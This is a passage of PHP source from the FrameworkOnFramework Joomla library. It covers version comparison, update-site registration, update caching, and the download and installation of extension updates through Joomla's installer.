$ret['testing'] = true;
}
// Find the upgrade relation of $jVersion to $currentVersion
if (version_compare($jVersion, $currentVersion, 'eq'))
{
$ret['upgrade'] = 'current';
}
elseif (($sts_minimum !== false) && version_compare($jVersion,
$sts_minimum, 'ge') && version_compare($jVersion,
$sts_maximum, 'le'))
{
$ret['upgrade'] = 'sts';
}
elseif (($lts_minimum !== false) && version_compare($jVersion,
$lts_minimum, 'ge'))
{
$ret['upgrade'] = 'lts';
}
elseif ($baseVersion == $current_minimum)
{
$ret['upgrade'] = $ret['lts'] ? 'lts' :
'sts';
}
else
{
$ret['upgrade'] = 'none';
}
if ($sameVersion)
{
$ret['upgrade'] = 'none';
}
return $ret;
}
/**
* Filters a list of updates, making sure they apply to the specified CMS
* release.
*
* @param array $updates A list of update records returned by the
getUpdatesFromExtension method
* @param string $jVersion The current Joomla! version number
*
* @return array A filtered list of updates. Each update record also
includes version relevance information.
*/
public function filterApplicableUpdates($updates, $jVersion = null)
{
if (empty($jVersion))
{
$jVersion = JVERSION;
}
$versionParts = explode('.', $jVersion, 4);
$platformVersionMajor = $versionParts[0];
$platformVersionMinor = $platformVersionMajor . '.' .
$versionParts[1];
$platformVersionNormal = $platformVersionMinor . '.' .
$versionParts[2];
//$platformVersionFull = (count($versionParts) > 3) ?
$platformVersionNormal . '.' . $versionParts[3] :
$platformVersionNormal;
$ret = array();
foreach ($updates as $update)
{
// Check each update for platform match
if (strtolower($update['targetplatform']['name']) !=
'joomla')
{
continue;
}
$targetPlatformVersion =
$update['targetplatform']['version'];
if (!preg_match('/' . $targetPlatformVersion . '/',
$platformVersionMinor))
{
continue;
}
// Get some information from the version number
$updateVersion = $update['version'];
$versionProperties = $this->getVersionProperties($updateVersion,
$jVersion);
if ($versionProperties['upgrade'] == 'none')
{
continue;
}
// The XML files are ill-maintained. Maybe we already have this update?
if (!array_key_exists($updateVersion, $ret))
{
$ret[ $updateVersion ] = array_merge($update, $versionProperties);
}
}
return $ret;
}
/**
* Joomla! has a lousy track record in naming its alpha, beta and release
* candidate releases. The convention used seems to be "what the hell
the
* current package maintainer thinks looks better". This method tries
to
* figure out what was in the mind of the maintainer and translate the
* funky version number to an actual PHP-format version string.
*
* @param string $version The whatever-format version number
*
* @return string A standard formatted version number
*/
public function sanitiseVersion($version)
{
$test = strtolower($version);
$alphaQualifierPosition = strpos($test, 'alpha-');
$betaQualifierPosition = strpos($test, 'beta-');
$betaQualifierPosition2 = strpos($test, '-beta');
$rcQualifierPosition = strpos($test, 'rc-');
$rcQualifierPosition2 = strpos($test, '-rc');
$rcQualifierPosition3 = strpos($test, 'rc');
$devQualifiedPosition = strpos($test, 'dev');
if ($alphaQualifierPosition !== false)
{
$betaRevision = substr($test, $alphaQualifierPosition + 6);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $alphaQualifierPosition) . '.a' .
$betaRevision;
}
elseif ($betaQualifierPosition !== false)
{
$betaRevision = substr($test, $betaQualifierPosition + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $betaQualifierPosition) . '.b' .
$betaRevision;
}
elseif ($betaQualifierPosition2 !== false)
{
$betaRevision = substr($test, $betaQualifierPosition2 + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $betaQualifierPosition2) . '.b' .
$betaRevision;
}
elseif ($rcQualifierPosition !== false)
{
$betaRevision = substr($test, $rcQualifierPosition + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $rcQualifierPosition) . '.rc' .
$betaRevision;
}
elseif ($rcQualifierPosition2 !== false)
{
$betaRevision = substr($test, $rcQualifierPosition2 + 3);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $rcQualifierPosition2) . '.rc' .
$betaRevision;
}
elseif ($rcQualifierPosition3 !== false)
{
$betaRevision = substr($test, $rcQualifierPosition3 + 5);
if (!$betaRevision)
{
$betaRevision = 1;
}
$test = substr($test, 0, $rcQualifierPosition3) . '.rc' .
$betaRevision;
}
elseif ($devQualifiedPosition !== false)
{
$betaRevision = substr($test, $devQualifiedPosition + 6);
if (!$betaRevision)
{
$betaRevision = '';
}
$test = substr($test, 0, $devQualifiedPosition) . '.dev' .
$betaRevision;
}
return $test;
}
/**
* Reloads the list of all updates available for the specified Joomla!
version
* from the network.
*
* @param array $sources The enabled sources to look into
* @param string $jVersion The Joomla! version we are checking updates
for
*
* @return array A list of updates for the installed, current, lts and
sts versions
*/
public function getUpdates($sources = array(), $jVersion = null)
{
// Make sure we have a valid list of sources
if (empty($sources) || !is_array($sources))
{
$sources = array();
}
$defaultSources = array('lts' => true, 'sts' =>
true, 'test' => true, 'custom' => '');
$sources = array_merge($defaultSources, $sources);
// Use the current JVERSION if none is specified
if (empty($jVersion))
{
$jVersion = JVERSION;
}
// Get the current branch' min/max versions
$versionParts = explode('.', $jVersion, 4);
$currentMinVersion = $versionParts[0] . '.' . $versionParts[1];
$currentMaxVersion = $versionParts[0] . '.' . $versionParts[1]
. '.9999';
// Retrieve all updates
$allUpdates = array();
foreach ($sources as $source => $value)
{
if (($value === false) || empty($value))
{
continue;
}
switch ($source)
{
case 'lts':
$url = self::$lts_url;
break;
case 'sts':
$url = self::$sts_url;
break;
case 'test':
$url = self::$test_url;
break;
default:
case 'custom':
$url = $value;
break;
}
$url = $this->getUpdateSourceFromCollection($url, $jVersion);
if (!empty($url))
{
$updates = $this->getUpdatesFromExtension($url);
if (!empty($updates))
{
$applicableUpdates = $this->filterApplicableUpdates($updates,
$jVersion);
if (!empty($applicableUpdates))
{
$allUpdates = array_merge($allUpdates, $applicableUpdates);
}
}
}
}
$ret = array(
// Currently installed version (used to reinstall, if available)
'installed' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Current branch
'current' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Upgrade to STS release
'sts' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Upgrade to LTS release
'lts' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
// Upgrade to LTS release
'test' => array(
'version' => '',
'package' => '',
'infourl' => '',
),
);
foreach ($allUpdates as $update)
{
$sections = array();
if ($update['upgrade'] == 'current')
{
$sections[0] = 'installed';
}
elseif (version_compare($update['version'],
$currentMinVersion, 'ge') &&
version_compare($update['version'], $currentMaxVersion,
'le'))
{
$sections[0] = 'current';
}
else
{
$sections[0] = '';
}
$sections[1] = $update['lts'] ? 'lts' :
'sts';
if ($update['testing'])
{
$sections = array('test');
}
foreach ($sections as $section)
{
if (empty($section))
{
continue;
}
$existingVersionForSection = $ret[ $section ]['version'];
if (empty($existingVersionForSection))
{
$existingVersionForSection = '0.0.0';
}
if (version_compare($update['version'],
$existingVersionForSection, 'ge'))
{
$ret[ $section ]['version'] = $update['version'];
$ret[ $section ]['package'] =
$update['downloads'][0]['url'];
$ret[ $section ]['infourl'] =
$update['infourl']['url'];
}
}
}
// Catch the case when the latest current branch version is the installed
version (up to date site)
if (empty($ret['current']['version']) &&
!empty($ret['installed']['version']))
{
$ret['current'] = $ret['installed'];
}
return $ret;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (version_compare(JVERSION, '2.5.0', 'lt'))
{
jimport('joomla.updater.updater');
}
/**
* A helper Model to interact with Joomla!'s extensions update feature
*/
class FOFUtilsUpdate extends FOFModel
{
/** @var JUpdater The Joomla! updater object */
protected $updater = null;
/** @var int The extension_id of this component */
protected $extension_id = 0;
/** @var string The currently installed version, as reported by the
#__extensions table */
protected $version = 'dev';
/** @var string The machine readable name of the component e.g.
com_something */
protected $component = 'com_foobar';
/** @var string The human readable name of the component e.g. Your
Component's Name. Used for emails. */
protected $componentDescription = 'Foobar';
/** @var string The URL to the component's update XML stream */
protected $updateSite = null;
/** @var string The name to the component's update site (description
of the update XML stream) */
protected $updateSiteName = null;
/** @var string The extra query to append to (commercial) components'
download URLs */
protected $extraQuery = null;
/** @var string The common parameters' key, used for storing data in
the #__akeeba_common table */
protected $commonKey = 'foobar';
/**
* The common parameters table. It's a simple table with key(VARCHAR)
and value(LONGTEXT) fields.
* Here is an example MySQL CREATE TABLE command to make this kind of
table:
*
* CREATE TABLE `#__akeeba_common` (
* `key` varchar(255) NOT NULL,
* `value` longtext NOT NULL,
* PRIMARY KEY (`key`)
* ) DEFAULT COLLATE utf8_general_ci CHARSET=utf8;
*
* @var string
*/
protected $commonTable = '#__akeeba_common';
/**
* Subject of the component update emails
*
* @var string
*/
protected $updateEmailSubject = 'THIS EMAIL IS SENT FROM YOUR SITE
"[SITENAME]" - Update available for [COMPONENT], new version
[VERSION]';
/**
* Body of the component update email
*
* @var string
*/
protected $updateEmailBody= <<< ENDBLOCK
This email IS NOT sent by the authors of [COMPONENT].
It is sent automatically by your own site, [SITENAME].
================================================================================
UPDATE INFORMATION
================================================================================
Your site has determined that there is an updated version of [COMPONENT]
available for download.
New version number: [VERSION]
This email is sent to you by your site to remind you of this fact. The
authors
of the software will never contact you about available updates.
================================================================================
WHY AM I RECEIVING THIS EMAIL?
================================================================================
This email has been automatically sent by a CLI script or Joomla! plugin
you, or
the person who built or manages your site, has installed and explicitly
activated. This script or plugin looks for updated versions of the software
and
sends an email notification to all Super Users. You will receive several
similar
emails from your site, up to 6 times per day, until you either update the
software or disable these emails.
To disable these emails, please contact your site administrator.
If you do not understand what this means, please do not contact the authors
of
the software. They are NOT sending you this email and they cannot help you.
Instead, please contact the person who built or manages your site.
================================================================================
WHO SENT ME THIS EMAIL?
================================================================================
This email is sent to you by your own site, [SITENAME]
ENDBLOCK;
/**
* Public constructor. Initialises the protected members as well. Useful
$config keys:
* update_component The component name, e.g. com_foobar
* update_version The default version if the manifest cache is unreadable
* update_site The URL to the component's update XML stream
* update_extraquery The extra query to append to (commercial)
components' download URLs
* update_sitename The update site's name (description)
*
* @param array $config
*/
public function __construct($config = array())
{
parent::__construct($config);
// Get an instance of the updater class
$this->updater = JUpdater::getInstance();
// Get the component name
if (isset($config['update_component']))
{
$this->component = $config['update_component'];
}
else
{
$this->component = $this->input->getCmd('option',
'');
}
// Get the component description
if (isset($config['update_component_description']))
{
$this->component = $config['update_component_description'];
}
else
{
// Try to auto-translate (hopefully you've loaded the language
files)
$key = strtoupper($this->component);
$description = JText::_($key);
}
// Get the component version
if (isset($config['update_version']))
{
$this->version = $config['update_version'];
}
// Get the common key
if (isset($config['common_key']))
{
$this->commonKey = $config['common_key'];
}
else
{
// Convert com_foobar, pkg_foobar etc to "foobar"
$this->commonKey = substr($this->component, 4);
}
// Get the update site
if (isset($config['update_site']))
{
$this->updateSite = $config['update_site'];
}
// Get the extra query
if (isset($config['update_extraquery']))
{
$this->extraQuery = $config['update_extraquery'];
}
// Get the update site's name
if (isset($config['update_sitename']))
{
$this->updateSiteName = $config['update_sitename'];
}
// Find the extension ID
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select('*')
->from($db->qn('#__extensions'))
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . ' = ' .
$db->q($this->component));
$db->setQuery($query);
$extension = $db->loadObject();
if (is_object($extension))
{
$this->extension_id = $extension->extension_id;
$data = json_decode($extension->manifest_cache, true);
if (isset($data['version']))
{
$this->version = $data['version'];
}
}
}
/**
* Retrieves the update information of the component, returning an array
with the following keys:
*
* hasUpdate True if an update is available
* version The version of the available update
* infoURL The URL to the download page of the update
*
* @param bool $force Set to true if you want to forcibly
reload the update information
* @param string $preferredMethod Preferred update method:
'joomla' or 'classic'
*
* @return array See the method description for more information
*/
public function getUpdates($force = false, $preferredMethod = null)
{
// Default response (no update)
$updateResponse = array(
'hasUpdate' => false,
'version' => '',
'infoURL' => '',
'downloadURL' => '',
);
if (empty($this->extension_id))
{
return $updateResponse;
}
$updateRecord = $this->findUpdates($force, $preferredMethod);
// If we have an update record in the database return the information
found there
if (is_object($updateRecord))
{
$updateResponse = array(
'hasUpdate' => true,
'version' => $updateRecord->version,
'infoURL' => $updateRecord->infourl,
'downloadURL' => $updateRecord->downloadurl,
);
}
return $updateResponse;
}
/**
* Find the available update record object. If we're at the latest
version it will return null.
*
* Please see getUpdateMethod for information on how the $preferredMethod
is handled and what it means.
*
* @param bool $force Should I forcibly reload the updates
from the server?
* @param string $preferredMethod Preferred update method:
'joomla' or 'classic'
*
* @return \stdClass|null
*/
public function findUpdates($force, $preferredMethod = null)
{
$preferredMethod = $this->getUpdateMethod($preferredMethod);
switch ($preferredMethod)
{
case 'joomla':
return $this->findUpdatesJoomla($force);
break;
default:
case 'classic':
return $this->findUpdatesClassic($force);
break;
}
}
/**
* Gets the update site Ids for our extension.
*
* @return mixed An array of Ids or null if the query failed.
*/
public function getUpdateSiteIds()
{
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select($db->qn('update_site_id'))
->from($db->qn('#__update_sites_extensions'))
->where($db->qn('extension_id') . ' = ' .
$db->q($this->extension_id));
$db->setQuery($query);
$updateSiteIds = $db->loadColumn(0);
return $updateSiteIds;
}
/**
* Get the currently installed version as reported by the #__extensions
table
*
* @return string
*/
public function getVersion()
{
return $this->version;
}
/**
* Returns the name of the component, e.g. com_foobar
*
* @return string
*/
public function getComponentName()
{
return $this->component;
}
/**
* Returns the human readable component name, e.g. Foobar Component
*
* @return string
*/
public function getComponentDescription()
{
return $this->componentDescription;
}
/**
* Returns the numeric extension ID for the component
*
* @return int
*/
public function getExtensionId()
{
return $this->extension_id;
}
/**
* Returns the update site URL, i.e. the URL to the XML update stream
*
* @return string
*/
public function getUpdateSite()
{
return $this->updateSite;
}
/**
* Returns the human readable description of the update site
*
* @return string
*/
public function getUpdateSiteName()
{
return $this->updateSiteName;
}
/**
* Override the currently installed version as reported by the
#__extensions table
*
* @param string $version
*/
public function setVersion($version)
{
$this->version = $version;
}
/**
* Refreshes the Joomla! update sites for this extension as needed
*
* @return void
*/
public function refreshUpdateSite()
{
// Joomla! 1.5 does not have update sites.
if (version_compare(JVERSION, '1.6.0', 'lt'))
{
return;
}
if (empty($this->extension_id))
{
return;
}
// Remove obsolete update sites that don't match our extension ID
but match our name or update site location
$this->removeObsoleteUpdateSites();
// Create the update site definition we want to store to the database
$update_site = array(
'name' => $this->updateSiteName,
'type' => 'extension',
'location' => $this->updateSite,
'enabled' => 1,
'last_check_timestamp' => 0,
'extra_query' => $this->extraQuery
);
// Get a reference to the db driver
$db = FOFPlatform::getInstance()->getDbo();
// Get the #__update_sites columns
$columns = $db->getTableColumns('#__update_sites', true);
if (version_compare(JVERSION, '3.2.0', 'lt') ||
!array_key_exists('extra_query', $columns))
{
unset($update_site['extra_query']);
}
if (version_compare(JVERSION, '2.5.0', 'lt') ||
!array_key_exists('extra_query', $columns))
{
unset($update_site['last_check_timestamp']);
}
// Get the update sites for our extension
$updateSiteIds = $this->getUpdateSiteIds();
if (empty($updateSiteIds))
{
$updateSiteIds = array();
}
/** @var boolean $needNewUpdateSite Do I need to create a new update
site? */
$needNewUpdateSite = true;
/** @var int[] $deleteOldSites Old Site IDs to delete */
$deleteOldSites = array();
// Loop through all update sites
foreach ($updateSiteIds as $id)
{
$query = $db->getQuery(true)
->select('*')
->from($db->qn('#__update_sites'))
->where($db->qn('update_site_id') . ' = ' .
$db->q($id));
$db->setQuery($query);
$aSite = $db->loadObject();
if (empty($aSite))
{
// Update site is now up-to-date, don't need to refresh it
anymore.
continue;
}
// We have an update site that looks like ours
if ($needNewUpdateSite && ($aSite->name ==
$update_site['name']) && ($aSite->location ==
$update_site['location']))
{
$needNewUpdateSite = false;
$mustUpdate = false;
// Is it enabled? If not, enable it.
if (!$aSite->enabled)
{
$mustUpdate = true;
$aSite->enabled = 1;
}
// Do we have the extra_query property (J 3.2+) and does it match?
if (property_exists($aSite, 'extra_query') &&
isset($update_site['extra_query'])
&& ($aSite->extra_query !=
$update_site['extra_query']))
{
$mustUpdate = true;
$aSite->extra_query = $update_site['extra_query'];
}
// Update the update site if necessary
if ($mustUpdate)
{
$db->updateObject('#__update_sites', $aSite,
'update_site_id', true);
}
continue;
}
// In any other case we need to delete this update site, it's
obsolete
$deleteOldSites[] = $aSite->update_site_id;
}
if (!empty($deleteOldSites))
{
try
{
$obsoleteIDsQuoted = array_map(array($db, 'quote'),
$deleteOldSites);
// Delete update sites
$query = $db->getQuery(true)
->delete('#__update_sites')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
// Delete update sites to extension ID records
$query = $db->getQuery(true)
->delete('#__update_sites_extensions')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
}
catch (\Exception $e)
{
// Do nothing on failure
return;
}
}
// Do we still need to create a new update site?
if ($needNewUpdateSite)
{
// No update sites defined. Create a new one.
$newSite = (object)$update_site;
$db->insertObject('#__update_sites', $newSite);
$id = $db->insertid();
$updateSiteExtension = (object)array(
'update_site_id' => $id,
'extension_id' => $this->extension_id,
);
$db->insertObject('#__update_sites_extensions',
$updateSiteExtension);
}
}
/**
* Removes any update sites which go by the same name or the same location
as our update site but do not match the
* extension ID.
*/
public function removeObsoleteUpdateSites()
{
$db = $this->getDbo();
// Get update site IDs
$updateSiteIDs = $this->getUpdateSiteIds();
// Find update sites where the name OR the location matches BUT they are
not one of the update site IDs
$query = $db->getQuery(true)
->select($db->qn('update_site_id'))
->from($db->qn('#__update_sites'))
->where(
'((' . $db->qn('name') . ' = ' .
$db->q($this->updateSiteName) . ') OR ' .
'(' . $db->qn('location') . ' = ' .
$db->q($this->updateSite) . '))'
);
if (!empty($updateSiteIDs))
{
$updateSitesQuoted = array_map(array($db, 'quote'),
$updateSiteIDs);
$query->where($db->qn('update_site_id') . ' NOT IN
(' . implode(',', $updateSitesQuoted) . ')');
}
try
{
$ids = $db->setQuery($query)->loadColumn();
if (!empty($ids))
{
$obsoleteIDsQuoted = array_map(array($db, 'quote'), $ids);
// Delete update sites
$query = $db->getQuery(true)
->delete('#__update_sites')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
// Delete update sites to extension ID records
$query = $db->getQuery(true)
->delete('#__update_sites_extensions')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
}
}
catch (\Exception $e)
{
// Do nothing on failure
return;
}
}
/**
* Get the update method we should use, 'joomla' or
'classic'
*
* You can defined the preferred update method: 'joomla' uses
JUpdater whereas 'classic' handles update caching and
* parsing internally. If you are on Joomla! 3.1 or earlier this option is
forced to 'classic' since these old
* Joomla! versions couldn't handle updates of commercial components
correctly (that's why I contributed the fix to
* that problem, the extra_query field that's present in Joomla! 3.2
onwards).
*
* If 'classic' is defined then it will be used in *all* Joomla!
versions. It's the most stable method for fetching
* update information.
*
* @param string $preferred Preferred update method. One of
'joomla' or 'classic'.
*
* @return string
*/
public function getUpdateMethod($preferred = null)
{
$method = $preferred;
// Make sure the update fetch method is valid, otherwise load the
component's "update_method" parameter.
$validMethods = array('joomla', 'classic');
if (!in_array($method, $validMethods))
{
$method =
FOFUtilsConfigHelper::getComponentConfigurationValue($this->component,
'update_method', 'joomla');
}
// We can't handle updates using Joomla!'s extensions updater
in Joomla! 3.1 and earlier
if (($method == 'joomla') && version_compare(JVERSION,
'3.2.0', 'lt'))
{
$method = 'classic';
}
return $method;
}
/**
* Find the available update record object. If we're at the latest
version it will return null.
*
* @param bool $force Should I forcibly reload the updates from the
server?
*
* @return \stdClass|null
*/
protected function findUpdatesJoomla($force = false)
{
$db = FOFPlatform::getInstance()->getDbo();
// If we are forcing the reload, set the last_check_timestamp to 0
// and remove cached component update info in order to force a reload
if ($force)
{
// Find the update site IDs
$updateSiteIds = $this->getUpdateSiteIds();
if (empty($updateSiteIds))
{
return null;
}
// Set the last_check_timestamp to 0
if (version_compare(JVERSION, '2.5.0', 'ge'))
{
$query = $db->getQuery(true)
->update($db->qn('#__update_sites'))
->set($db->qn('last_check_timestamp') . ' =
' . $db->q('0'))
->where($db->qn('update_site_id') .' IN
('.implode(', ', $updateSiteIds).')');
$db->setQuery($query);
$db->execute();
}
// Remove cached component update info from #__updates
$query = $db->getQuery(true)
->delete($db->qn('#__updates'))
->where($db->qn('update_site_id') .' IN
('.implode(', ', $updateSiteIds).')');
$db->setQuery($query);
$db->execute();
}
// Use the update cache timeout specified in com_installer
$timeout = 3600 *
FOFUtilsConfigHelper::getComponentConfigurationValue('com_installer',
'cachetimeout', '6');
// Load any updates from the network into the #__updates table
$this->updater->findUpdates($this->extension_id, $timeout);
// Get the update record from the database
$query = $db->getQuery(true)
->select('*')
->from($db->qn('#__updates'))
->where($db->qn('extension_id') . ' = ' .
$db->q($this->extension_id));
$db->setQuery($query);
try
{
$updateObject = $db->loadObject();
}
catch (Exception $e)
{
return null;
}
if (!is_object($updateObject))
{
return null;
}
$updateObject->downloadurl = '';
JLoader::import('joomla.updater.update');
if (class_exists('JUpdate'))
{
$update = new JUpdate();
$update->loadFromXML($updateObject->detailsurl);
if (isset($update->get('downloadurl')->_data))
{
$url = trim($update->downloadurl->_data);
$extra_query = isset($updateObject->extra_query) ?
$updateObject->extra_query : $this->extraQuery;
if ($extra_query)
{
if (strpos($url, '?') === false)
{
$url .= '?';
}
else
{
$url .= '&';
}
$url .= $extra_query;
}
$updateObject->downloadurl = $url;
}
}
return $updateObject;
}
/**
* Find the available update record object. If we're at the latest
version return null.
*
* @param bool $force Should I forcibly reload the updates from the
server?
*
* @return \stdClass|null
*/
protected function findUpdatesClassic($force = false)
{
$allUpdates = $this->loadUpdatesClassic($force);
if (empty($allUpdates))
{
return null;
}
$bestVersion = '0.0.0';
$bestUpdate = null;
$bestUpdateObject = null;
foreach($allUpdates as $update)
{
if (!isset($update['version']))
{
continue;
}
if (version_compare($bestVersion, $update['version'],
'lt'))
{
$bestVersion = $update['version'];
$bestUpdate = $update;
}
}
// If the current version is newer or equal to the best one, unset
it. Otherwise the user will be always prompted to update
if(version_compare($this->version, $bestVersion,
'ge'))
{
$bestUpdate = null;
$bestVersion = '0.0.0';
}
if (!is_null($bestUpdate))
{
$url = '';
if (isset($bestUpdate['downloads']) &&
isset($bestUpdate['downloads'][0])
&&
isset($bestUpdate['downloads'][0]['url']))
{
$url = $bestUpdate['downloads'][0]['url'];
}
if ($this->extraQuery)
{
if (strpos($url, '?') === false)
{
$url .= '?';
}
else
{
$url .= '&';
}
$url .= $this->extraQuery;
}
$bestUpdateObject = (object)array(
'update_id' => 0,
'update_site_id' => 0,
'extension_id' => $this->extension_id,
'name' => $this->updateSiteName,
'description' => $bestUpdate['description'],
'element' => $bestUpdate['element'],
'type' => $bestUpdate['type'],
'folder' =>
count($bestUpdate['folder']) ? $bestUpdate['folder'][0]
: '',
'client_id' =>
isset($bestUpdate['client']) ? $bestUpdate['client'] :
0,
'version' => $bestUpdate['version'],
'data' => '',
'detailsurl' => $this->updateSite,
'infourl' =>
$bestUpdate['infourl']['url'],
'extra_query' => $this->extraQuery,
'downloadurl' => $url,
);
}
return $bestUpdateObject;
}
/**
* Load all available updates without going through JUpdate
*
* @param bool $force Should I forcibly reload the updates from the
server?
*
* @return array
*/
protected function loadUpdatesClassic($force = false)
{
// Is the cache busted? If it is I set $force = true to make sure I
download fresh updates
if (!$force)
{
// Get the cache timeout. On older Joomla! installations it will always
default to 6 hours.
$timeout = 3600 *
FOFUtilsConfigHelper::getComponentConfigurationValue('com_installer',
'cachetimeout', '6');
// Do I need to check for updates?
$lastCheck = $this->getCommonParameter('lastcheck', 0);
$now = time();
if (($now - $lastCheck) >= $timeout)
{
$force = true;
}
}
// Get the cached JSON-encoded updates list
$rawUpdates = $this->getCommonParameter('allUpdates',
'');
// Am I forced to reload the XML file (explicitly or because the cache is
busted)?
if ($force)
{
// Set the timestamp
$now = time();
$this->setCommonParameter('lastcheck', $now);
// Get all available updates
$updateHelper = new FOFUtilsUpdateExtension();
$updates =
$updateHelper->getUpdatesFromExtension($this->updateSite);
// Save the raw updates list in the database
$rawUpdates = json_encode($updates);
$this->setCommonParameter('allUpdates', $rawUpdates);
}
// Decode the updates list
$updates = json_decode($rawUpdates, true);
// Walk through the updates and find the ones compatible with our Joomla!
and PHP version
$compatibleUpdates = array();
// Get the Joomla! version family (e.g. 2.5)
$jVersion = JVERSION;
$jVersionParts = explode('.', $jVersion);
$jVersionShort = $jVersionParts[0] . '.' . $jVersionParts[1];
// Get the PHP version family (e.g. 5.6)
$phpVersion = PHP_VERSION;
$phpVersionParts = explode('.', $phpVersion);
$phpVersionShort = $phpVersionParts[0] . '.' .
$phpVersionParts[1];
foreach ($updates as $update)
{
// No platform?
if (!isset($update['targetplatform']))
{
continue;
}
// Wrong platform?
if ($update['targetplatform']['name'] !=
'joomla')
{
continue;
}
// Get the target Joomla! version
$targetJoomlaVersion =
$update['targetplatform']['version'];
$targetVersionParts = explode('.', $targetJoomlaVersion);
$targetVersionShort = $targetVersionParts[0] . '.' .
$targetVersionParts[1];
// The target version MUST be in the same Joomla! branch
if ($jVersionShort != $targetVersionShort)
{
continue;
}
// If the target version is major.minor.revision we must make sure our
current JVERSION is AT LEAST equal to that.
if (version_compare($targetJoomlaVersion, JVERSION, 'gt'))
{
continue;
}
// Do I have target PHP versions?
if (isset($update['ars-phpcompat']))
{
$phpCompatible = false;
foreach ($update['ars-phpcompat'] as $entry)
{
// Get the target PHP version family
$targetPHPVersion =
$entry['@attributes']['version'];
$targetPHPVersionParts = explode('.', $targetPHPVersion);
$targetPHPVersionShort = $targetPHPVersionParts[0] . '.' .
$targetPHPVersionParts[1];
// The target PHP version MUST be in the same PHP branch
if ($phpVersionShort != $targetPHPVersionShort)
{
continue;
}
// If the target version is major.minor.revision we must make sure our
current PHP_VERSION is AT LEAST equal to that.
if (version_compare($targetPHPVersion, PHP_VERSION, 'gt'))
{
continue;
}
$phpCompatible = true;
break;
}
if (!$phpCompatible)
{
continue;
}
}
// All checks pass. Add this update to the list of compatible updates.
$compatibleUpdates[] = $update;
}
return $compatibleUpdates;
}
/**
* Get a common parameter from the #__akeeba_common table
*
* @param string $key The key to retrieve
* @param mixed $default The default value in case none is set
*
* @return mixed The saved parameter value (or $default, if nothing is
currently set)
*/
protected function getCommonParameter($key, $default = null)
{
$dbKey = $this->commonKey . '_autoupdate_' . $key;
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select($db->qn('value'))
->from($db->qn($this->commonTable))
->where($db->qn('key') . ' = ' .
$db->q($dbKey));
$result = $db->setQuery($query)->loadResult();
if (!$result)
{
return $default;
}
return $result;
}
/**
* Set a common parameter from the #__akeeba_common table
*
* @param string $key The key to set
* @param mixed $value The value to set
*
* @return void
*/
protected function setCommonParameter($key, $value)
{
$dbKey = $this->commonKey . '_autoupdate_' . $key;
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select('COUNT(*)')
->from($db->qn($this->commonTable))
->where($db->qn('key') . ' = ' .
$db->q($dbKey));
$count = $db->setQuery($query)->loadResult();
if ($count)
{
$query = $db->getQuery(true)
->update($db->qn($this->commonTable))
->set($db->qn('value') . ' = ' .
$db->q($value))
->where($db->qn('key') . ' = ' .
$db->q($dbKey));
$db->setQuery($query)->execute();
}
else
{
$data = (object)array(
'key' => $dbKey,
'value' => $value,
);
$db->insertObject($this->commonTable, $data);
}
}
/**
* Proxy to updateComponent(). Required since old versions of our software
had an updateComponent method declared
* private. If we set the updateComponent() method public we cause a fatal
error.
*
* @return string
*/
public function doUpdateComponent()
{
return $this->updateComponent();
}
/**
* Automatically install the extension update under Joomla! 1.5.5 or later
(web) / 3.0 or later (CLI).
*
* @return string The update message
*/
private function updateComponent()
{
$isCli = FOFPlatform::getInstance()->isCli();
$minVersion = $isCli ? '3.0.0' : '1.5.5';
$errorQualifier = $isCli ? ' using an unattended CLI CRON script
' : ' ';
if (version_compare(JVERSION, $minVersion, 'lt'))
{
return "Extension updates{$errorQualifier}only work with Joomla!
$minVersion and later.";
}
try
{
$updatePackagePath = $this->downloadUpdate();
}
catch (Exception $e)
{
return $e->getMessage();
}
// Unpack the downloaded package file
jimport('joomla.installer.helper');
jimport('cms.installer.helper');
$package = JInstallerHelper::unpack($updatePackagePath);
if (!$package)
{
// Clean up
if (JFile::exists($updatePackagePath))
{
JFile::delete($updatePackagePath);
}
return "An error occurred while unpacking the file. Please double
check your Joomla temp-directory setting in Global Configuration.";
}
$installer = new JInstaller;
$installed = $installer->install($package['extractdir']);
// Let's cleanup the downloaded archive and the temp folder
if (JFolder::exists($package['extractdir']))
{
JFolder::delete($package['extractdir']);
}
if (JFile::exists($package['packagefile']))
{
JFile::delete($package['packagefile']);
}
if ($installed)
{
return "Component successfully updated";
}
else
{
return "An error occurred while trying to update the
component";
}
}
/**
* Downloads the latest update package to Joomla!'s temporary
directory
*
* @return string The absolute path to the downloaded update package.
*/
public function downloadUpdate()
{
// Get the update URL
$updateInformation = $this->getUpdates();
$url = $updateInformation['downloadURL'];
if (empty($url))
{
throw new RuntimeException("No download URL was provided in the
update information");
}
$config = JFactory::getConfig();
$tmp_dest = $config->get('tmp_path');
if (!$tmp_dest)
{
throw new RuntimeException("You must set a non-empty Joomla!
temp-directory in Global Configuration before continuing.");
}
if (!JFolder::exists($tmp_dest))
{
throw new RuntimeException("Joomla!'s temp-directory does not
exist. Please set the correct path in Global Configuration before
continuing.");
}
